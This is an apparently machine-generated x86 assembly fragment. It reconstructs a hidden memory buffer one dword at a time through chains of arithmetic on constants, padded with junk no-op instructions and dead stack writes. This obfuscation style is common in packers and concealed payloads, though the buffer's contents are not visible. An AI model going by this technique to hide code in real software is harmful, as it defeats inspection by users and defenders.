mov dword [ecx + 0x170], 0x50a799d3
xor dword [ecx + 0x170], 0x2aaa1712
mov dword [esp - 0x44], esi
sub dword [ecx + 0x170], 0x48c2f5cc
xor dword [ecx + 0x170], 0x424d81fc
add dword [ecx + 0x170], 0x5943753
sub dword [ecx + 0x170], 0x789b505c
mov dword [esp - 0x40], ebx
mov dword [ecx + 0x174], 0x523b54b0
xor dword [ecx + 0x174], 0x80e6748
add dword [ecx + 0x174], 0x10114270
xchg esi, esi
sub dword [ecx + 0x174], 0x4a89acf8
xor dword [ecx + 0x174], 0x3b7b0664
xor dword [ecx + 0x174], 0x7e21891b
xor dword [ecx + 0x174], 0x47bf6edc
mov esi, esi
mov dword [ecx + 0x178], 0x53ee7738
sub dword [ecx + 0x178], 0x44ba41f2
add dword [ecx + 0x178], 0x1938fc80
add dword [ecx + 0x178], 0x40a1e5d4
mov dword [esp - 0x40], ebp
sub dword [ecx + 0x178], 0x690f179a
mov dword [ecx + 0x17c], 0x74af9395
sub dword [ecx + 0x17c], 0x8d9f993
mov dword [esp - 0x10], 0x1cab1a95
xor dword [ecx + 0x17c], 0xdb2763f
sub dword [ecx + 0x17c], 0x4e351eae
xor dword [ecx + 0x17c], 0x6847d8c2
xor dword [ecx + 0x17c], 0x4d6d981e
mov ecx, ecx
xor dword [ecx + 0x17c], 0xc8305e30
mov dword [ecx + 0x180], 0x27a1e283
sub dword [ecx + 0x180], 0x8bbb1e7
mov dword [esp - 0x20], edi
add dword [ecx + 0x180], 0x3d6c52f1
sub dword [ecx + 0x180], 0x154b77eb
xor dword [ecx + 0x180], 0x47070ba2
mov dword [ecx + 0x184], 0x674048d2
mov esi, esi
sub dword [ecx + 0x184], 0x499e2733
add dword [ecx + 0x184], 0x3fba001d
sub dword [ecx + 0x184], 0x15ec33cc
add dword [ecx + 0x184], 0x260d8a52
mov edi, edi
sub dword [ecx + 0x184], 0x28997fc1
xor dword [ecx + 0x184], 0x651cbfcc
mov dword [ecx + 0x188], 0x6f857ccf
xchg ebp, ebp
sub dword [ecx + 0x188], 0x56a93349
add dword [ecx + 0x188], 0x287b7d49
xor dword [ecx + 0x188], 0x26e577f4
mov esp, esp
add dword [ecx + 0x188], 0xb27eb38
sub dword [ecx + 0x188], 0x8f88ca1
sub dword [ecx + 0x188], 0x69e20fd2
mov ecx, ecx
mov dword [ecx + 0x18c], 0xcb0fa7d
add dword [ecx + 0x18c], 0x48d46d47
sub dword [ecx + 0x18c], 0x1a361aee
sub dword [ecx + 0x18c], 0x13fe781a
mov esi, esi
sub dword [ecx + 0x18c], 0x1e8bf277
add dword [ecx + 0x18c], 0x2b0328fe
add dword [ecx + 0x18c], 0xf089ca5
mov dword [esp - 0x20], ecx
mov dword [ecx + 0x190], 0x75a52fe7
xor dword [ecx + 0x190], 0x3515f5ce
sub dword [ecx + 0x190], 0x2f5fe2f4
mov dword [esp - 0x38], 0x5baaf678
add dword [ecx + 0x190], 0x3930eb6b
sub dword [ecx + 0x190], 0x865a080
sub dword [ecx + 0x190], 0x810c1a5
xor dword [ecx + 0x190], 0x3a0b807b
mov edx, edx
mov dword [ecx + 0x194], 0x2ceaaa91
xor dword [ecx + 0x194], 0x5915faf0
sub dword [ecx + 0x194], 0x3b0dcb3c
xchg edi, edi
sub dword [ecx + 0x194], 0x28956d89
add dword [ecx + 0x194], 0x307c0e7b
xor dword [ecx + 0x194], 0x283601b0
mov dword [esp - 0xc], edx
mov dword [ecx + 0x198], 0x70784947
xor dword [ecx + 0x198], 0x771f097d
xor dword [ecx + 0x198], 0x49fadefc
mov dword [esp - 0x1c], ebp
xor dword [ecx + 0x198], 0x246db559
sub dword [ecx + 0x198], 0x336827e5
sub dword [ecx + 0x198], 0x378803ba
mov dword [ecx + 0x19c], 0x3ecc6852
mov dword [esp - 0xc], 0x56cf1e47
add dword [ecx + 0x19c], 0x398002c8
xor dword [ecx + 0x19c], 0x4470c01e
sub dword [ecx + 0x19c], 0x142e17a5
mov dword [esp - 0x20], 0x586f104a
add dword [ecx + 0x19c], 0x3541b351
sub dword [ecx + 0x19c], 0x37147db0
xor dword [ecx + 0x19c], 0x875d0642
mov dword [ecx + 0x1a0], 0x11114124
mov esp, esp
sub dword [ecx + 0x1a0], 0x15c73bc
sub dword [ecx + 0x1a0], 0xfacd3f1
add dword [ecx + 0x1a0], 0x76cc32d5
xchg ebp, ebp
xor dword [ecx + 0x1a0], 0x4c321038
add dword [ecx + 0x1a0], 0xf5d12e
sub dword [ecx + 0x1a0], 0x3bdc0da2
mov dword [esp - 0x10], 0x336854c
mov dword [ecx + 0x1a4], 0x5c7b3aff
add dword [ecx + 0x1a4], 0x8e04903
sub dword [ecx + 0x1a4], 0x106441ca
mov dword [esp - 0x14], ebx
sub dword [ecx + 0x1a4], 0x28de242f
add dword [ecx + 0x1a4], 0xec40b34
add dword [ecx + 0x1a4], 0x4e7b25d0
mov dword [ecx + 0x1a8], 0x778366c7
mov dword [esp - 0x10], 0x2a754626
xor dword [ecx + 0x1a8], 0x528e7f25
xor dword [ecx + 0x1a8], 0x386f0c97
add dword [ecx + 0x1a8], 0x2162d6a1
sub dword [ecx + 0x1a8], 0x3ec4ec16
mov dword [esp - 0x3c], edx
mov dword [ecx + 0x1ac], 0x7d53308c
sub dword [ecx + 0x1ac], 0x3fc6d2ea
xor dword [ecx + 0x1ac], 0x1cc00237
add dword [ecx + 0x1ac], 0xc5cc77a
mov dword [esp - 0x30], 0x69641172
xor dword [ecx + 0x1ac], 0x89fac482
mov dword [ecx + 0x1b0], 0x585a6188
xor dword [ecx + 0x1b0], 0x642a3cf0
mov dword [esp - 0x30], edi
sub dword [ecx + 0x1b0], 0x2671d708
add dword [ecx + 0x1b0], 0x3594d1ef
sub dword [ecx + 0x1b0], 0x32b399db
sub dword [ecx + 0x1b0], 0x18dfbe84
mov esp, esp
mov dword [ecx + 0x1b4], 0x4dbff272
xor dword [ecx + 0x1b4], 0x7236f29f
sub dword [ecx + 0x1b4], 0x3097dd47
xchg edx, edx
xor dword [ecx + 0x1b4], 0x675b109
add dword [ecx + 0x1b4], 0x681411ab
mov dword [ecx + 0x1b8], 0x5d778fb1
sub dword [ecx + 0x1b8], 0x35ca74fe
mov dword [esp - 0x10], 0x452f4fae
add dword [ecx + 0x1b8], 0x579a92d3
sub dword [ecx + 0x1b8], 0x29d2562b
sub dword [ecx + 0x1b8], 0x5575575b
mov dword [ecx + 0x1bc], 0x6feafd6c
mov dword [esp - 0x44], ecx
xor dword [ecx + 0x1bc], 0x4cb49dae
add dword [ecx + 0x1bc], 0x1e0fdcc2
add dword [ecx + 0x1bc], 0x1d6a4902
add dword [ecx + 0x1bc], 0x31180729
mov dword [esp - 0x28], edx
mov dword [ecx + 0x1c0], 0xa86a411
xor dword [ecx + 0x1c0], 0x1c146cc9
xor dword [ecx + 0x1c0], 0x521c26e6
xor dword [ecx + 0x1c0], 0x7ccf7b9
mov dword [esp - 0x44], edi
sub dword [ecx + 0x1c0], 0x419051c
add dword [ecx + 0x1c0], 0x2484f022
xor dword [ecx + 0x1c0], 0x63ae048d
mov dword [ecx + 0x1c4], 0x48d76446
mov edi, edi
xor dword [ecx + 0x1c4], 0x7c1bcacf
add dword [ecx + 0x1c4], 0x24e306a4
xor dword [ecx + 0x1c4], 0x40a51fa1
xchg ecx, ecx
add dword [ecx + 0x1c4], 0x639ebe2d
sub dword [ecx + 0x1c4], 0x5004edb7
xor dword [ecx + 0x1c4], 0xfa83192c
xchg edi, edi
mov dword [ecx + 0x1c8], 0x31d5e06c
add dword [ecx + 0x1c8], 0xe59e601
xor dword [ecx + 0x1c8], 0x7bfcdae2
add dword [ecx + 0x1c8], 0xecabacd
mov dword [esp - 0x2c], 0x661ca5f3
xor dword [ecx + 0x1c8], 0x6c62650b
add dword [ecx + 0x1c8], 0x571b8fe5
sub dword [ecx + 0x1c8], 0x7e1b423c
xchg ecx, ecx
mov dword [ecx + 0x1cc], 0x60239964
xor dword [ecx + 0x1cc], 0x60a74e9d
add dword [ecx + 0x1cc], 0x17264fc3
mov edx, edx
add dword [ecx + 0x1cc], 0x42899e81
xor dword [ecx + 0x1cc], 0x49578d6d
sub dword [ecx + 0x1cc], 0x34f0875
mov dword [ecx + 0x1d0], 0x2a062f30
mov dword [esp - 0x38], 0x74b96c8c
add dword [ecx + 0x1d0], 0x4251081
xor dword [ecx + 0x1d0], 0x4da16af
xor dword [ecx + 0x1d0], 0x6f84ac85
xchg esp, esp
sub dword [ecx + 0x1d0], 0xff8f618
sub dword [ecx + 0x1d0], 0x13d1f021
sub dword [ecx + 0x1d0], 0x21aa9f62
mov dword [esp - 0x18], 0x1b47e2cc
mov dword [ecx + 0x1d4], 0x1f71310
xor dword [ecx + 0x1d4], 0x695f22ef
add dword [ecx + 0x1d4], 0xb12a0fd
sub dword [ecx + 0x1d4], 0x52e8d6e
xchg esi, esi
sub dword [ecx + 0x1d4], 0x4110e5a4
add dword [ecx + 0x1d4], 0x98e712c7
mov dword [ecx + 0x1d8], 0x7a58990a
sub dword [ecx + 0x1d8], 0x57db399b
mov dword [esp - 0x14], esi
add dword [ecx + 0x1d8], 0x4ee642c3
sub dword [ecx + 0x1d8], 0x272fe8a5
add dword [ecx + 0x1d8], 0xd1b2a63
xchg edx, edx
sub dword [ecx + 0x1d8], 0x574ee3f0
mov dword [ecx + 0x1dc], 0x4cda92dc
xor dword [ecx + 0x1dc], 0x538fa743
add dword [ecx + 0x1dc], 0x22cf051a
mov dword [esp - 0x1c], 0xb29ce51
xor dword [ecx + 0x1dc], 0x5608cede
add dword [ecx + 0x1dc], 0xc0bfd9ad
mov dword [ecx + 0x1e0], 0x4eb76049
mov dword [esp - 0x30], esp
sub dword [ecx + 0x1e0], 0xcc59771
sub dword [ecx + 0x1e0], 0x2c3db42c
add dword [ecx + 0x1e0], 0x5103bbde
xor dword [ecx + 0x1e0], 0x66b7d08a
mov edi, edi
mov dword [ecx + 0x1e4], 0x77204994
xor dword [ecx + 0x1e4], 0x4110a4c9
xor dword [ecx + 0x1e4], 0x1ad821d4
mov edi, edi
add dword [ecx + 0x1e4], 0x3afc38a
xor dword [ecx + 0x1e4], 0x28971ef1
add dword [ecx + 0x1e4], 0x4fd6cd8c
xchg edi, edi
xor dword [ecx + 0x1e4], 0xd13de143
mov dword [ecx + 0x1e8], 0x2c34fe94
xor dword [ecx + 0x1e8], 0x26050943
add dword [ecx + 0x1e8], 0x119ba74c
mov dword [esp - 0x18], ebx
xor dword [ecx + 0x1e8], 0x1071dc3
add dword [ecx + 0x1e8], 0x3eec2992
sub dword [ecx + 0x1e8], 0x59b6ac72
mov dword [ecx + 0x1ec], 0x73823edc
mov ecx, ecx
sub dword [ecx + 0x1ec], 0x9528dff
add dword [ecx + 0x1ec], 0x10f904c4
xor dword [ecx + 0x1ec], 0x65e24ec2
xor dword [ecx + 0x1ec], 0xcac4b48
mov esp, esp
add dword [ecx + 0x1ec], 0x58ed7cd8
xor dword [ecx + 0x1ec], 0xb425fad2
mov dword [ecx + 0x1f0], 0x1ff1c653
add dword [ecx + 0x1f0], 0xd01deb6
mov ebx, ebx
xor dword [ecx + 0x1f0], 0x53358783
sub dword [ecx + 0x1f0], 0x6423d9c6
sub dword [ecx + 0x1f0], 0x1ba248c4
mov dword [ecx + 0x1f4], 0x149a0b1f
mov dword [esp - 0x3c], edi
add dword [ecx + 0x1f4], 0x122bf25
add dword [ecx + 0x1f4], 0xfcd24b7
sub dword [ecx + 0x1f4], 0x12f9de84
add dword [ecx + 0x1f4], 0x57e77607
mov dword [esp - 0x14], edx
add dword [ecx + 0x1f4], 0x7737cd4d
mov dword [ecx + 0x1f8], 0x728d50dc
sub dword [ecx + 0x1f8], 0x3926c330
add dword [ecx + 0x1f8], 0x3ecb3234
mov esi, esi
xor dword [ecx + 0x1f8], 0x786c1335
sub dword [ecx + 0x1f8], 0x5dacd5
mov dword [ecx + 0x1fc], 0x791d3245
xchg ebp, ebp
sub dword [ecx + 0x1fc], 0x2a540a1f
sub dword [ecx + 0x1fc], 0x370baa98
add dword [ecx + 0x1fc], 0x641e5b41
xor dword [ecx + 0x1fc], 0x9a91a19
mov dword [esp - 0x14], esp
sub dword [ecx + 0x1fc], 0x1582209e
add dword [ecx + 0x1fc], 0x856c114c
mov dword [ecx + 0x200], 0x44384da0
add dword [ecx + 0x200], 0x115d581e
mov dword [esp - 0xc], 0x514d7c28
xor dword [ecx + 0x200], 0xb93a615
add dword [ecx + 0x200], 0x9f9f00b
xor dword [ecx + 0x200], 0x129bda1e
mov dword [esp - 0x34], ebx
xor dword [ecx + 0x200], 0x756429a8
mov dword [ecx + 0x204], 0x6ef4ec06
xor dword [ecx + 0x204], 0x58f46d0a
mov esp, esp
sub dword [ecx + 0x204], 0x113ebbbb
xor dword [ecx + 0x204], 0x1c517aaf
add dword [ecx + 0x204], 0x951d886
xchg edx, edx
add dword [ecx + 0x204], 0x78abc488
mov dword [ecx + 0x208], 0x45d0e2f8
sub dword [ecx + 0x208], 0x410b5051
add dword [ecx + 0x208], 0x5928088c
mov dword [esp - 0x14], ebp
add dword [ecx + 0x208], 0xd6e5a39
add dword [ecx + 0x208], 0xb7dee91
sub dword [ecx + 0x208], 0x76d9e3fd
mov dword [esp - 0x2c], 0x42736846
mov dword [ecx + 0x20c], 0x415130a1
add dword [ecx + 0x20c], 0x33dd0f6a
xor dword [ecx + 0x20c], 0x20a9f9f9
xor dword [ecx + 0x20c], 0x5bb20031
mov ebx, ebx
xor dword [ecx + 0x20c], 0x228c1e11
xor dword [ecx + 0x20c], 0x52820029
sub dword [ecx + 0x20c], 0x76730a39
xchg esi, esi
mov dword [ecx + 0x210], 0x119bd2bb
add dword [ecx + 0x210], 0x3b4cd6e
add dword [ecx + 0x210], 0x2cfc2285
mov dword [esp - 0x10], 0x5a266761
add dword [ecx + 0x210], 0x1e3b8225
sub dword [ecx + 0x210], 0x608844d3
mov dword [ecx + 0x214], 0xe0b8eaa
mov dword [esp - 0x1c], edi
add dword [ecx + 0x214], 0x1b9341c
add dword [ecx + 0x214], 0x48dc0c7d
xor dword [ecx + 0x214], 0x75b00b99
mov dword [esp - 0x30], ebp
add dword [ecx + 0x214], 0x1dc3a123
xor dword [ecx + 0x214], 0x6968dfb5
sub dword [ecx + 0x214], 0x161fd64a
mov dword [esp - 0x18], esi
mov dword [ecx + 0x218], 0x715cf89a
xor dword [ecx + 0x218], 0x37973cd
xor dword [ecx + 0x218], 0x3d44ea4a
xor dword [ecx + 0x218], 0x1f43bae6
mov ebp, ebp
add dword [ecx + 0x218], 0x6451ad9
sub dword [ecx + 0x218], 0x6501979
xor dword [ecx + 0x218], 0x5017dd5b
mov dword [ecx + 0x21c], 0x259e8eb3
mov dword [esp - 0x40], 0x756838fa
xor dword [ecx + 0x21c], 0x4d771100
sub dword [ecx + 0x21c], 0x2d1c9e38
xor dword [ecx + 0x21c], 0x33770a89
mov ecx, ecx
xor dword [ecx + 0x21c], 0x6bebc7d8
sub dword [ecx + 0x21c], 0x21e385b
mov dword [ecx + 0x220], 0x108e8f9d
add dword [ecx + 0x220], 0x696cd247
mov dword [esp - 0x10], 0x2bca9842
sub dword [ecx + 0x220], 0x363416b8
add dword [ecx + 0x220], 0x366cb683
sub dword [ecx + 0x220], 0x28c71213
xchg ebp, ebp
sub dword [ecx + 0x220], 0x516cef9c
mov dword [ecx + 0x224], 0x104cca61
xor dword [ecx + 0x224], 0x77e2b619
mov esi, esi
xor dword [ecx + 0x224], 0x15fbdd49
sub dword [ecx + 0x224], 0x4985939a
xor dword [ecx + 0x224], 0x85d9e463
xchg ebp, ebp
mov dword [ecx + 0x228], 0x637422f5
add dword [ecx + 0x228], 0x1890096d
sub dword [ecx + 0x228], 0x7491f63b
mov dword [esp - 0x1c], 0x2e6e6402
add dword [ecx + 0x228], 0x5b1f2ed9
xor dword [ecx + 0x228], 0x2c60f3da
sub dword [ecx + 0x228], 0x4ef196da
mov dword [esp - 0x1c], 0x265274bb
mov dword [ecx + 0x22c], 0xa3a4739
add dword [ecx + 0x22c], 0x4513cceb
xor dword [ecx + 0x22c], 0x719cc5a4
sub dword [ecx + 0x22c], 0x335eed33
mov ebx, ebx
add dword [ecx + 0x22c], 0x9825860d
mov dword [ecx + 0x230], 0x7e1b9206
sub dword [ecx + 0x230], 0x15183152
sub dword [ecx + 0x230], 0x399e1a8c
mov dword [esp - 0x44], 0x61b7799c
add dword [ecx + 0x230], 0x29378f2a
xor dword [ecx + 0x230], 0x8bd5544
sub dword [ecx + 0x230], 0x50218016
xchg ebp, ebp
mov dword [ecx + 0x234], 0x5bba5e88
xor dword [ecx + 0x234], 0x4ab2673a
add dword [ecx + 0x234], 0x4326ea03
mov dword [esp - 0x14], ecx
sub dword [ecx + 0x234], 0x221c5136
add dword [ecx + 0x234], 0x11abbbbb
add dword [ecx + 0x234], 0xb13c58ec
mov dword [ecx + 0x238], 0x613ea8d5
xchg esp, esp
add dword [ecx + 0x238], 0x6c37af8
sub dword [ecx + 0x238], 0x4e48c378
add dword [ecx + 0x238], 0x2afa1c99
mov esp, esp
xor dword [ecx + 0x238], 0x44b37cee
mov dword [ecx + 0x23c], 0x775561b
add dword [ecx + 0x23c], 0x5bba7fa4
mov ebp, ebp
xor dword [ecx + 0x23c], 0x22be86dc
sub dword [ecx + 0x23c], 0x4a450da
sub dword [ecx + 0x23c], 0x3725b387
xor dword [ecx + 0x23c], 0x643baf7e
mov dword [esp - 0x38], 0x5dc9d746
xor dword [ecx + 0x23c], 0xe9b919c5
mov dword [ecx + 0x240], 0x8939f8a
xor dword [ecx + 0x240], 0x3d30ba3d
add dword [ecx + 0x240], 0x36805ca4
xchg edi, edi
sub dword [ecx + 0x240], 0x41db1415
xor dword [ecx + 0x240], 0x647f4c83
add dword [ecx + 0x240], 0x6c17b2b
xor dword [ecx + 0x240], 0x54f89df0
xchg esi, esi
mov dword [ecx + 0x244], 0x5715060b
xor dword [ecx + 0x244], 0x74c34e13
sub dword [ecx + 0x244], 0xc382902
xor dword [ecx + 0x244], 0x34d6cf24
mov dword [esp - 0x44], 0x7aaa4f6a
sub dword [ecx + 0x244], 0x93207f9
mov dword [ecx + 0x248], 0x788a88c8
add dword [ecx + 0x248], 0x204e84
xor dword [ecx + 0x248], 0x2114b638
xchg ecx, ecx
sub dword [ecx + 0x248], 0x402ed832
sub dword [ecx + 0x248], 0x198f8942
mov dword [ecx + 0x24c], 0x39e03825
sub dword [ecx + 0x24c], 0x2351984a
mov esi, esi
xor dword [ecx + 0x24c], 0x49e01b98
sub dword [ecx + 0x24c], 0x3ee73175
add dword [ecx + 0x24c], 0x55604e4b
sub dword [ecx + 0x24c], 0x39edb0e2
mov dword [esp - 0x14], esp
add dword [ecx + 0x24c], 0x646f50b9
mov dword [ecx + 0x250], 0xc99a9fa
xor dword [ecx + 0x250], 0x4a19dc2c
mov dword [esp - 0x30], edx
xor dword [ecx + 0x250], 0x235789ab
sub dword [ecx + 0x250], 0x4802344b
sub dword [ecx + 0x250], 0x1dd5c832
mov dword [ecx + 0x254], 0x824f1d8
xchg ecx, ecx
xor dword [ecx + 0x254], 0x39f88ba0
add dword [ecx + 0x254], 0xb3c2276
xor dword [ecx + 0x254], 0x7792df18
mov dword [esp - 0x1c], 0x2be6e03
add dword [ecx + 0x254], 0x820c99f
sub dword [ecx + 0x254], 0x357fdcb0
mov dword [ecx + 0x258], 0x6786847b
mov ecx, ecx
xor dword [ecx + 0x258], 0x3665043e
xor dword [ecx + 0x258], 0x5334843a
add dword [ecx + 0x258], 0x4b136b40
xchg ecx, ecx
sub dword [ecx + 0x258], 0xb27848a
sub dword [ecx + 0x258], 0x42c2eb35
mov dword [ecx + 0x25c], 0xf42c76f
xchg ebp, ebp
xor dword [ecx + 0x25c], 0x74e3f5d5
xor dword [ecx + 0x25c], 0x17b01fe8
xor dword [ecx + 0x25c], 0xb037a40
xchg ebp, ebp
sub dword [ecx + 0x25c], 0x5fd62556
mov dword [ecx + 0x260], 0xc84de12
xor dword [ecx + 0x260], 0x4bd29e9f
xchg esp, esp
sub dword [ecx + 0x260], 0x38ec928a
add dword [ecx + 0x260], 0x6deb964a
sub dword [ecx + 0x260], 0x7c55444d
mov edi, edi
mov dword [ecx + 0x264], 0xda26ba
add dword [ecx + 0x264], 0x2f0b0d4e
xor dword [ecx + 0x264], 0x2b953746
mov edi, edi
add dword [ecx + 0x264], 0x2240b005
xor dword [ecx + 0x264], 0x9b3a815d
mov dword [ecx + 0x268], 0x6e317ab5
xor dword [ecx + 0x268], 0x48f3ebd0
xchg edi, edi
xor dword [ecx + 0x268], 0x6bc84c36
xor dword [ecx + 0x268], 0x791d18a0
xor dword [ecx + 0x268], 0x168e76fa
mov dword [esp - 0x20], 0x3b91fd0a
add dword [ecx + 0x268], 0x302b98eb
xor dword [ecx + 0x268], 0x52c54bf4
mov dword [ecx + 0x26c], 0x60e5a962
xor dword [ecx + 0x26c], 0x6357f4bc
xchg ebx, ebx
add dword [ecx + 0x26c], 0x311246b6
xor dword [ecx + 0x26c], 0x58173833
add dword [ecx + 0x26c], 0x7470bece
mov esi, esi
mov dword [ecx + 0x270], 0x35173455
sub dword [ecx + 0x270], 0xdad1ce8
xor dword [ecx + 0x270], 0x627528ac
sub dword [ecx + 0x270], 0x3027176e
xchg edi, edi
sub dword [ecx + 0x270], 0x1e69fcb
xor dword [ecx + 0x270], 0x224a8b16
xor dword [ecx + 0x270], 0x315b039e
mov dword [esp - 0x14], ecx
mov dword [ecx + 0x274], 0x7e1ff6b7
sub dword [ecx + 0x274], 0x3aebe095
add dword [ecx + 0x274], 0x23ffb7ff
xchg ecx, ecx
sub dword [ecx + 0x274], 0x3891df67
add dword [ecx + 0x274], 0x945c97ee
mov dword [ecx + 0x278], 0xb8a13ad
xor dword [ecx + 0x278], 0x1155672f
mov dword [esp - 0x24], 0x22f899e
add dword [ecx + 0x278], 0x34201623
sub dword [ecx + 0x278], 0x47b18d44
sub dword [ecx + 0x278], 0xcd8dfc
sub dword [ecx + 0x278], 0x6806f65
mov dword [esp - 0xc], 0x8ab1da0
mov dword [ecx + 0x27c], 0x72e03d3b
sub dword [ecx + 0x27c], 0x134e02c
sub dword [ecx + 0x27c], 0x5d127b07
add dword [ecx + 0x27c], 0x2eab895f
mov dword [esp - 0x10], 0x631f84ef
sub dword [ecx + 0x27c], 0x2b7d7c7f
add dword [ecx + 0x27c], 0x38b6e93d
mov dword [ecx + 0x280], 0x7656eafd
xor dword [ecx + 0x280], 0x60eb38e0
xchg edi, edi
sub dword [ecx + 0x280], 0x112b6af7
add dword [ecx + 0x280], 0x6fb83caf
sub dword [ecx + 0x280], 0x396f24d8
xchg edi, edi
xor dword [ecx + 0x280], 0x44953b45
xor dword [ecx + 0x280], 0x7f4e45b8
mov dword [ecx + 0x284], 0x1d9286c9
add dword [ecx + 0x284], 0x34adb58b
mov dword [esp - 0x38], 0x23eb3fce
sub dword [ecx + 0x284], 0x4cfac05f
add dword [ecx + 0x284], 0x5a0106f4
xor dword [ecx + 0x284], 0xbbdb168a
mov dword [esp - 0x3c], 0x65c4de22
mov dword [ecx + 0x288], 0x372e16e4
sub dword [ecx + 0x288], 0x267a6aa3
add dword [ecx + 0x288], 0x37eed1e
mov esi, esi
xor dword [ecx + 0x288], 0x58020228
add dword [ecx + 0x288], 0x17a1bc4d
sub dword [ecx + 0x288], 0x235ba564
sub dword [ecx + 0x288], 0x4076b260
mov dword [esp - 0x44], 0x4a397aa8
mov eax, ecx
mov dword [ecx + 0x28c], 0x71adcabf
sub dword [ecx + 0x28c], 0x678d8587
mov dword [esp - 0x2c], esi
add dword [ecx + 0x28c], 0x34601c90
xor dword [ecx + 0x28c], 0x2c876fc7
add dword [ecx + 0x28c], 0x2eb9e683
mov dword [esp - 0x44], esp
sub dword [ecx + 0x28c], 0x3e1edc62
xor dword [ecx + 0x28c], 0x5302d951
mov dword [ecx + 0x290], 0x21709b81
add dword [ecx + 0x290], 0x24197f7f
xchg esp, esp
add dword [ecx + 0x290], 0x2f95e6c8
add dword [ecx + 0x290], 0xa828cee
sub dword [ecx + 0x290], 0x2012d37e
xchg esp, esp
xor dword [ecx + 0x290], 0x5f8fbb38
mov dword [ecx + 0x294], 0x4a69851f
add dword [ecx + 0x294], 0x22625535
xor dword [ecx + 0x294], 0x2f6f937b
xchg esp, esp
sub dword [ecx + 0x294], 0x1da6f529
xor dword [ecx + 0x294], 0x3b494427
mov dword [ecx + 0x298], 0x761f0b04
xor dword [ecx + 0x298], 0x46390e22
mov esp, esp
add dword [ecx + 0x298], 0x5feb403
add dword [ecx + 0x298], 0x39797b7f
xor dword [ecx + 0x298], 0x675bd4da
mov ebp, ebp
sub dword [ecx + 0x298], 0x47e6b06
sub dword [ecx + 0x298], 0x447756c
mov dword [ecx + 0x29c], 0x36da522
mov dword [esp - 0x44], edx
add dword [ecx + 0x29c], 0x48d5719f
sub dword [ecx + 0x29c], 0x47d4a7f3
add dword [ecx + 0x29c], 0x607c524c
xor dword [ecx + 0x29c], 0x7f8c4760
mov dword [esp - 0x34], edi
add dword [ecx + 0x29c], 0xb3f75f61
ret